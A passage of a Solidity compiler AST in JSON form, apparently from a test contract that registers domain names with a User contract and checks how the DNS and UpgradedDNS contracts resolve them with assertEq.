219025167\",\"value\":\"0x0d0e0f0f\"},\"id\":795,\"name\":\"Literal\",\"src\":\"3192:10:2\"}],\"id\":796,\"name\":\"VariableDeclarationStatement\",\"src\":\"3180:22:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":797,\"name\":\"Identifier\",\"src\":\"3352:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":798,\"name\":\"Literal\",\"src\":\"3358:1:2\"}],\"id\":799,\"name\":\"IndexAccess\",\"src\":\"3352:8:2\"}],\"id\":800,\"name\":\"MemberAccess\",\"src\":\"3352:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":801,\"name\":\"Identifier\",\"src\":\"3370:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":786,\"type\":\"bytes4\",\"value\":\"i2\"},\"id\":802,\"name\":\"Identifier\",\"src\":\"3374:2:2\"}],\"id\":803,\"name\":\"FunctionCall\",\"src\":\"3352:25:2\"}],\"id\":804,\"name\":\"ExpressionStatement\",\"src\":\"3352:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":805,\"name\":\"Identifier\",\"src\":\"3429:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":806,\"name\":\"Identifier\",\"src\":\"3433:5:2\"}],\"id\":807,\"name\":\"TupleExpression\",\"src\":\"3428:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":808,\"name\":\"Identifier\",\"src\":\"3442:3:2\"}],\"id\":809,\"name\":\"MemberAccess\",\"src\":\"3442:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":810,\"name\":\"Identifier\",\"src\":\"3454:2:2\"}],\"id\":811,\"name\":\"FunctionCall\",\"src\":\"3442:15:2\"}],\"id\":812,\"name\":\"Assignment\",\"src\":\"3428:29:2\"}],\"id\":813,\"name\":\"ExpressionStatement\",\"src\":\"3428:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":814,\"name\":\"Identifier\",\"src\":\"3461:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":815,\"name\":\"Identifier\",\"src\":\"3470:2:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":816,\"name\":\"Literal\",\"src\":\"3474:1:2\"}],\"id\":817,\"name\":\"FunctionCall\",\"src\":\"3461:15:2\"}],\"id\":818,\"name\":\"ExpressionStatement\",\"src\":\"3461:15:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":819,\"name\":\"Identifier\",\"src\":\"3480:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":820,\"name\":\"Identifier\",\"src\":\"3489:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":821,\"name\":\"ElementaryTypeName\",\"src\":\"3496:7:2\"}],\"id\":822,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3496:7:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":823,\"name\":\"Literal\",\"src\":\"3504:1:2\"}],\"id\":824,\"name\":\"FunctionCall\",\"src\":\"3496:10:2\"}],\"id\":825,\"name\":\"FunctionCall\",\"src\":\"3480:27:2\"}],\"id\":826,\"name\":\"ExpressionStatement\",\"src\":\"3480:27:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":827,\"name\":\"Identifier\",\"src\":\"3549:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":828,\"name\":\"Identifier\",\"src\":\"3553:5:2\"}],\"id\":829,\"name\":\"TupleExpression\",\"src\":\"3548:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":2302,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":830,\"name\":\"Identifier\",\"src\":\"3562:6:2\"}],\"id\":831,\"name\":\"MemberAccess\",\"src\":\"3562:14:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":832,\"name\":\"Identifier\",\"src\":\"3577:2:2\"}],\"id\":833,\"name\":\"FunctionCall\",\"src\":\"3562:18:2\"}],\"id\":834,\"name\":\"Assignment\",\"src\":\"3548:32:2\"}],\"id\":835,\"name\":\"ExpressionStatement\",\"src\":\"3548:32:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":836,\"name\":\"Identifier\",\"src\":\"3584:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":837,\"name\":\"Identifier\",\"src\":\"3593:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":786,\"type\":\"bytes4\",\"value\":\"i2\"},\"id\":838,\"name\":\"Identifier\",\"src\":\"3597:2:2\"}],\"id\":839,\"name\":\"FunctionCall\",\"src\":\"3584:16:2\"}],\"id\":840,\"name\":\"ExpressionStatement\",\"src\":\"3584:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":841,\"name\":\"Identifier\",\"src\":\"3604:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":842,\"name\":\"Identifier\",\"src\":\"3613:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":843,\"name\":\"ElementaryTypeName\",\"src\":\"3620:7:2\"}],\"id\":844,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3620:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":845,\"name\":\"Identifier\",\"src\":\"3628:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":846,\"name\":\"Literal\",\"src\":\"3634:1:2\"}],\"id\":847,\"name\":\"IndexAccess\",\"src\":\"3628:8:2\"}],\"id\":848,\"name\":\"FunctionCall\",\"src\":\"3620:17:2\"}],\"id\":849,\"name\":\"FunctionCall\",\"src\":\"3604:34:2\"}],\"id\":850,\"name\":\"ExpressionStatement\",\"src\":\"3604:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":851,\"name\":\"Identifier\",\"src\":\"3695:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":852,\"name\":\"Identifier\",\"src\":\"3699:5:2\"}],\"id\":853,\"name\":\"TupleExpression\",\"src\":\"3694:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":418,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":854,\"name\":\"Identifier\",\"src\":\"3708:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":855,\"name\":\"Literal\",\"src\":\"3714:1:2\"}],\"id\":856,\"name\":\"IndexAccess\",\"src\":\"3708:8:2\"}],\"id\":857,\"name\":\"MemberAccess\",\"src\":\"3708:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":858,\"name\":\"Identifier\",\"src\":\"3725:2:2\"}],\"id\":859,\"name\":\"FunctionCall\",\"src\":\"3708:20:2\"}],\"id\":860,\"name\":\"Assignment\",\"src\":\"3694:34:2\"}],\"id\":861,\"name\":\"ExpressionStatement\",\"src\":\"3694:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":862,\"name\":\"Identifier\",\"src\":\"3732:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":863,\"name\":\"Identifier\",\"src\":\"3741:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":786,\"type\":\"bytes4\",\"value\":\"i2\"},\"id\":864,\"name\":\"Identifier\",\"src\":\"3745:2:2\"}],\"id\":865,\"name\":\"FunctionCall\",\"src\":\"3732:16:2\"}],\"id\":866,\"name\":\"ExpressionStatement\",\"src\":\"3732:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":867,\"name\":\"Identifier\",\"src\":\"3752:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":868,\"name\":\"Identifier\",\"src\":\"3761:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":869,\"name\":\"ElementaryTypeName\",\"src\":\"3768:7:2\"}],\"id\":870,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3768:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":871,\"name\":\"Identifier\",\"src\":\"3776:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":872,\"name\":\"Literal\",\"src\":\"3782:1:2\"}],\"id\":873,\"name\":\"IndexAccess\",\"src\":\"3776:8:2\"}],\"id\":874,\"name\":\"FunctionCall\",\"src\":\"3768:17:2\"}],\"id\":875,\"name\":\"FunctionCall\",\"src\":\"3752:34:2\"}],\"id\":876,\"name\":\"ExpressionStatement\",\"src\":\"3752:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":877,\"name\":\"Identifier\",\"src\":\"3843:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":878,\"name\":\"Literal\",\"src\":\"3849:1:2\"}],\"id\":879,\"name\":\"IndexAccess\",\"src\":\"3843:8:2\"}],\"id\":880,\"name\":\"MemberAccess\",\"src\":\"3843:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":881,\"name\":\"Identifier\",\"src\":\"3861:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":882,\"name\":\"Identifier\",\"src\":\"3865:2:2\"}],\"id\":883,\"name\":\"FunctionCall\",\"src\":\"3843:25:2\"}],\"id\":884,\"name\":\"ExpressionStatement\",\"src\":\"3843:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":885,\"name\":\"Identifier\",\"src\":\"3920:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":886,\"name\":\"Identifier\",\"src\":\"3924:5:2\"}],\"id\":887,\"name\":\"TupleExpression\",\"src\":\"3919:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":888,\"name\":\"Identifier\",\"src\":\"3933:3:2\"}],\"id\":889,\"name\":\"MemberAccess\",\"src\":\"3933:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":890,\"name\":\"Identifier\",\"src\":\"3945:2:2\"}],\"id\":891,\"name\":\"FunctionCall\",\"src\":\"3933:15:2\"}],\"id\":892,\"name\":\"Assignment\",\"src\":\"3919:29:2\"}],\"id\":893,\"name\":\"ExpressionStatement\",\"src\":\"3919:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":894,\"name\":\"Identifier\",\"src\":\"3952:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":895,\"name\":\"Identifier\",\"src\":\"3961:2:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":896,\"name\":\"Literal\",\"src\":\"3965:1:2\"}],\"id\":897,\"name\":\"FunctionCall\",\"src\":\"3952:15:2\"}],\"id\":898,\"name\":\"ExpressionStatement\",\"src\":\"3952:15:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":899,\"name\":\"Identifier\",\"src\":\"3971:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":900,\"name\":\"Identifier\",\"src\":\"3980:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":901,\"name\":\"ElementaryTypeName\",\"src\":\"3987:7:2\"}],\"id\":902,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3987:7:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":903,\"name\":\"Literal\",\"src\":\"3995:1:2\"}],\"id\":904,\"name\":\"FunctionCall\",\"src\":\"3987:10:2\"}],\"id\":905,\"name\":\"FunctionCall\",\"src\":\"3971:27:2\"}],\"id\":906,\"name\":\"ExpressionStatement\",\"src\":\"3971:27:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":907,\"name\":\"Identifier\",\"src\":\"4040:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":908,\"name\":\"Identifier\",\"src\":\"4044:5:2\"}],\"id\":909,\"name\":\"TupleExpression\",\"src\":\"4039:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":2302,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":910,\"name\":\"Identifier\",\"src\":\"4053:6:2\"}],\"id\":911,\"name\":\"MemberAccess\",\"src\":\"4053:14:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":912,\"name\":\"Identifier\",\"src\":\"4068:2:2\"}],\"id\":913,\"name\":\"FunctionCall\",\"src\":\"4053:18:2\"}],\"id\":914,\"name\":\"Assignment\",\"src\":\"4039:32:2\"}],\"id\":915,\"name\":\"ExpressionStatement\",\"src\":\"4039:32:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function 